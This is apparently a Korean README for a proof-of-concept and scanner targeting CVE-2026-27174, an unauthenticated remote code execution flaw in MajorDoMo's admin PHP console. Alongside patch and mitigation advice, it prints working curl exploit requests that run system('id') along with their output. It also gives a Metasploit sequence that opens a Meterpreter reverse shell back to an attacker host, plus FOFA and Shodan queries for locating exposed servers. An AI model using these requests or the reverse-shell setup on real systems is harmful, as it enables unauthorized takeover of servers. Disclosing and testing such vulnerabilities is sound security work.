
CVE-2026-27174 - 관리자 패널의 PHP 콘솔 기능을 통한 인증되지 않은 원격 코드 실행
MajorDomo(Major Domestic Module)의 관리자 패널 PHP 콘솔 기능을 통해 인증되지 않은 원격 코드 실행을 악용하는 개념 증명(PoC)입니다.
MajorDoMo의 관리자 패널은 /admin.php를 통해 PHP 평가 콘솔을 노출합니다. panel.class.php에서 인증 리디렉션 후 exit가 누락되어 AJAX 핸들러 inc_panel_ajax.php가 무조건 포함되므로, 인증되지 않은 모든 HTTP 요청이 eval()에 도달할 수 있습니다.
공격자는 자격 증명, 사전 접근 권한, 피해자의 상호작용 없이 단일 GET 요청으로 임의의 PHP 코드를 실행할 수 있습니다.
scan.py는 CVE-2026-27174에 취약한 호스트를 유해한 페이로드를 실행하지 않고 탐지하는 비파괴적 멀티스레드 스캐너입니다.
스캐너는 대상별로 세 가지 순차적 단계로 작동합니다:
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
캐싱, WAF 또는 응답 오염으로 인한 오탐(false positive)을 방지하기 위해 요청마다 임의의 영숫자 마커가 생성됩니다.
pip install requests
한 줄에 하나의 IP:PORT로 targets.txt 파일을 생성하세요:
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# lines starting with # are ignored
# only IP:PORT format is accepted
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.json취약한 호스트가 하나 이상 발견되면 자동으로 생성됩니다:
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
result.json 파일의 system_functions_available 필드 결과를 기반으로 system 함수를 사용해 RCE를 악용하는 GET 요청을 구성할 수 있습니다:
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Metasploit 모듈:
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
원격의 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
실질적 영향은 서버의 disable_functions PHP 구성에 따라 달라집니다:
CVSS 4.0 - 9.3 CRITICAL — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MajorDomo(Major Domestic Module) 최신 버전으로 업데이트하세요.
| 통제 항목 | RCE 방지 | OS 실행 방지 |
|---|---|---|
| 2026년 2월 18일 패치 적용 |
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
이 도구는 승인된 보안 테스트 전용입니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
| 필드 | 설명 |
|---|
target | 스캔된 IP:PORT |
url | RCE가 확인된 전체 URL |
rce_php | PHP 코드 실행 확인됨 (결과에서 항상 true) |
disable_functions | 서버의 disable_functions PHP 설정 (비어 있으면 null) |
system_functions_available | 공격자가 호출할 수 있는 OS 실행 함수 |
impact_level | HIGH (OS 실행 가능) 또는 MEDIUM (PHP RCE만 가능) |
| 시나리오 | 영향 수준 | 설명 |
|---|
disable_functions 없음 | CRITICAL | 전체 OS 명령 실행 |
| 부분적 제한 | HIGH | PHP RCE + 부분적 OS 실행 |
disable_functions가 모든 실행 차단 | MEDIUM | PHP RCE만 가능 (파일 읽기/쓰기, 데이터 유출) |
| ✅ |
| ✅ |
/admin.php에 방화벽/IP 허용 목록 적용 | ✅ | ✅ |
disable_functions 강화 | ❌ | ✅ |